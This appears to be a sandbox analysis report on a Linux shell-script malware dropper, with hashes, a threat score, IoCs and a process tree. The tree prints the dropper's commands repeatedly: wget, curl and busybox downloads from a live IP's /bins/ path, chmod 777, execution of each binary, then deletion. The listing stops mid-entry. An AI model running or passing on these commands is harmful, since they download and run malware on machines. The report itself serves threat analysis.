433dc283edf7de4a096720a5c051ab308a19c32d3c425b7a290ca641bcd80f66

Analysis

max time kernel
69s
max time network
71s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
30/10/2024, 02:22

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
433dc283edf7de4a096720a5c051ab308a19c32d3c425b7a290ca641bcd80f66.sh
Size 10KB
Sample241030-ctjdeavbmb
SHA256 433dc283edf7de4a096720a5c051ab308a19c32d3c425b7a290ca641bcd80f66
MD5 94847bf29ca7ba66ec332e0df1a9945d
SHA1 298f57a39801dfffbdf5acdad70c46b1ef14c631
SHA512 a75652ba4ff9a07d68b740013ac4413d2d4cce4d8c7af4f680f09ff3c5fd0bb836cc3cec1117d33969955dce2b2ee549469ef3887893e95a82cf6d3c3a6ad436
SSDEEP 96:dXaSGnKqw19Y51Og/S/S/Z+KQN+gNLEoJyi1u+6l9gFLEoJyi7F81MP8lry7aSGm:daSGnKqug6aiFchN1SGnKqB6aS
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
947	chmod
959	chmod
821	chmod
875	chmod
917	chmod
881	chmod
911	chmod
953	chmod
887	chmod
941	chmod
971	chmod
806	chmod
869	chmod
812	chmod
863	chmod
743	chmod
749	chmod
893	chmod
929	chmod
977	chmod
776	chmod
923	chmod
899	chmod
905	chmod
935	chmod
965	chmod
737	chmod
851	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk	curl
File opened for modification	/tmp/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv	curl
File opened for modification	/tmp/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac	curl
File opened for modification	/tmp/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x	curl
File opened for modification	/tmp/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn	curl
File opened for modification	/tmp/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh	curl
File opened for modification	/tmp/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn	curl
File opened for modification	/tmp/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5	curl
File opened for modification	/tmp/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm	curl
File opened for modification	/tmp/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb	curl
File opened for modification	/tmp/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t	curl
File opened for modification	/tmp/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb	curl
File opened for modification	/tmp/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2	curl
File opened for modification	/tmp/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t	curl
File opened for modification	/tmp/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh	curl
File opened for modification	/tmp/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk	curl
File opened for modification	/tmp/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h	curl
File opened for modification	/tmp/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv	curl
File opened for modification	/tmp/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac	curl
File opened for modification	/tmp/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5	curl
File opened for modification	/tmp/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a	curl
File opened for modification	/tmp/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm	curl
File opened for modification	/tmp/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2	curl
File opened for modification	/tmp/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a	curl
File opened for modification	/tmp/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp	curl
File opened for modification	/tmp/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x	curl
File opened for modification	/tmp/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp	curl
File opened for modification	/tmp/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h	curl

/tmp/433dc283edf7de4a096720a5c051ab308a19c32d3c425b7a290ca641bcd80f66.sh
/tmp/433dc283edf7de4a096720a5c051ab308a19c32d3c425b7a290ca641bcd80f66.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:713
- /usr/bin/wget
  wget http://87.120.84.230/bins/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  PID:718
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:730
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  PID:736
- /bin/chmod
  chmod 777 yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  ./yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  PID:739
- /usr/bin/wget
  wget http://87.120.84.230/bins/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  PID:740
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:741
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  PID:742
- /bin/chmod
  chmod 777 hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  ./hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  - Executes dropped EXE
  PID:744
- /bin/rm
  rm hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  PID:745
- /usr/bin/wget
  wget http://87.120.84.230/bins/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  PID:746
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  PID:748
- /bin/chmod
  chmod 777 RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  ./RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  PID:753
- /usr/bin/wget
  wget http://87.120.84.230/bins/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  PID:754
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  PID:771
- /bin/chmod
  chmod 777 8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  - File and Directory Permissions Modification
  PID:776
- /tmp/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  ./8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  - Executes dropped EXE
  PID:778
- /bin/rm
  rm 8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  PID:781
- /usr/bin/wget
  wget http://87.120.84.230/bins/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  PID:782
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:791
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  PID:801
- /bin/chmod
  chmod 777 i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  - File and Directory Permissions Modification
  PID:806
- /tmp/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  ./i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  - Executes dropped EXE
  PID:807
- /bin/rm
  rm i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  PID:808
- /usr/bin/wget
  wget http://87.120.84.230/bins/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  PID:811
- /bin/chmod
  chmod 777 q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  ./q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  - Executes dropped EXE
  PID:813
- /bin/rm
  rm q475hw9SJHEsRu3EFLaTZfXsRTxZj9jR5a
  2⤵
  PID:814
- /usr/bin/wget
  wget http://87.120.84.230/bins/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  PID:815
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:816
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  PID:817
- /bin/chmod
  chmod 777 a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  - File and Directory Permissions Modification
  PID:821
- /tmp/a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  ./a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm a6YBJTFJgtCKr3MjY5N8ONbJs9RaXVBy6t
  2⤵
  PID:825
- /usr/bin/wget
  wget http://87.120.84.230/bins/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  PID:845
- /bin/chmod
  chmod 777 mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  - File and Directory Permissions Modification
  PID:851
- /tmp/mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  ./mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  - Executes dropped EXE
  PID:852
- /bin/rm
  rm mQ0u4I08C1Den4WvlpGXxdotZ9F4aUP1Wk
  2⤵
  PID:853
- /usr/bin/wget
  wget http://87.120.84.230/bins/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  PID:855
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  PID:862
- /bin/chmod
  chmod 777 Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  ./Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  - Executes dropped EXE
  PID:864
- /bin/rm
  rm Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  PID:865
- /usr/bin/wget
  wget http://87.120.84.230/bins/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  PID:866
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  PID:868
- /bin/chmod
  chmod 777 7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  ./7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  - Executes dropped EXE
  PID:870
- /bin/rm
  rm 7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  PID:871
- /usr/bin/wget
  wget http://87.120.84.230/bins/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  PID:872
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:873
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  PID:874
- /bin/chmod
  chmod 777 sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  ./sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  PID:877
- /usr/bin/wget
  wget http://87.120.84.230/bins/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  PID:878
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  PID:880
- /bin/chmod
  chmod 777 pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  - File and Directory Permissions Modification
  PID:881
- /tmp/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  ./pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  - Executes dropped EXE
  PID:882
- /bin/rm
  rm pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  PID:883
- /usr/bin/wget
  wget http://87.120.84.230/bins/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  PID:884
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:885
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  PID:886
- /bin/chmod
  chmod 777 w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  - File and Directory Permissions Modification
  PID:887
- /tmp/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  ./w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  - Executes dropped EXE
  PID:888
- /bin/rm
  rm w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  PID:889
- /usr/bin/wget
  wget http://87.120.84.230/bins/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  PID:890
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:891
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  PID:892
- /bin/chmod
  chmod 777 aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  - File and Directory Permissions Modification
  PID:893
- /tmp/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  ./aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  - Executes dropped EXE
  PID:894
- /bin/rm
  rm aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  PID:895
- /usr/bin/wget
  wget http://87.120.84.230/bins/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  PID:896
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:897
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  PID:898
- /bin/chmod
  chmod 777 Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  ./Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  - Executes dropped EXE
  PID:900
- /bin/rm
  rm Hki2xPcf0rlNmyeJ0v5Z1ogqozuHKei2Uv
  2⤵
  PID:901
- /usr/bin/wget
  wget http://87.120.84.230/bins/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  PID:902
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:903
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  PID:904
- /bin/chmod
  chmod 777 7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  ./7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  - Executes dropped EXE
  PID:906
- /bin/rm
  rm 7hkkslToMjrtef0IXdhdUy875ZrSxuE0Ac
  2⤵
  PID:907
- /usr/bin/wget
  wget http://87.120.84.230/bins/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  PID:908
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:909
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  PID:910
- /bin/chmod
  chmod 777 sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  - File and Directory Permissions Modification
  PID:911
- /tmp/sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  ./sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  - Executes dropped EXE
  PID:912
- /bin/rm
  rm sBKe9h74gLMZLCAMvm0RGSyjUidhU5XDQp
  2⤵
  PID:913
- /usr/bin/wget
  wget http://87.120.84.230/bins/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  PID:914
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:915
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  PID:916
- /bin/chmod
  chmod 777 pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  - File and Directory Permissions Modification
  PID:917
- /tmp/pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  ./pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  - Executes dropped EXE
  PID:918
- /bin/rm
  rm pTL8566C9RsJnt3wbDzkP4RdCR8KcBm47x
  2⤵
  PID:919
- /usr/bin/wget
  wget http://87.120.84.230/bins/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  PID:920
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:921
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  PID:922
- /bin/chmod
  chmod 777 w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  - File and Directory Permissions Modification
  PID:923
- /tmp/w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  ./w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  - Executes dropped EXE
  PID:924
- /bin/rm
  rm w24GZBPKwMmMWD33VMhRaJv2E70rekpex5
  2⤵
  PID:925
- /usr/bin/wget
  wget http://87.120.84.230/bins/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:927
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  PID:928
- /bin/chmod
  chmod 777 aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  - File and Directory Permissions Modification
  PID:929
- /tmp/aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  ./aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  - Executes dropped EXE
  PID:930
- /bin/rm
  rm aLDx92jK6s3CjUpDm5VoOPQ3nC4V0NiIfm
  2⤵
  PID:931
- /usr/bin/wget
  wget http://87.120.84.230/bins/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  PID:932
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:933
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  PID:934
- /bin/chmod
  chmod 777 yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  - File and Directory Permissions Modification
  PID:935
- /tmp/yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  ./yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  - Executes dropped EXE
  PID:936
- /bin/rm
  rm yZp1IfU4YQe6kroWUNHw29DCa0yVtUTKfb
  2⤵
  PID:937
- /usr/bin/wget
  wget http://87.120.84.230/bins/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  PID:938
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:939
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  PID:940
- /bin/chmod
  chmod 777 hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  - File and Directory Permissions Modification
  PID:941
- /tmp/hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  ./hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  - Executes dropped EXE
  PID:942
- /bin/rm
  rm hERVqu0yGB4vg814gFFKY1MBxui99AfFZh
  2⤵
  PID:943
- /usr/bin/wget
  wget http://87.120.84.230/bins/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  PID:944
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:945
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  PID:946
- /bin/chmod
  chmod 777 RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  - File and Directory Permissions Modification
  PID:947
- /tmp/RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  ./RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  - Executes dropped EXE
  PID:948
- /bin/rm
  rm RlrPmdS9EXxHLmDjnbSqjxRzNAn2pGdhX2
  2⤵
  PID:949
- /usr/bin/wget
  wget http://87.120.84.230/bins/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  PID:950
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:951
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  PID:952
- /bin/chmod
  chmod 777 8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  - File and Directory Permissions Modification
  PID:953
- /tmp/8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  ./8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  - Executes dropped EXE
  PID:954
- /bin/rm
  rm 8JqcO1hXczY2vGkvZA58tNz3fdQS8FV4Yn
  2⤵
  PID:955
- /usr/bin/wget
  wget http://87.120.84.230/bins/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  PID:956
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/i8MFcB58pUDRvIeOLlBCOQaIHxMy5Azi5h
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:957
- /bin/busybox
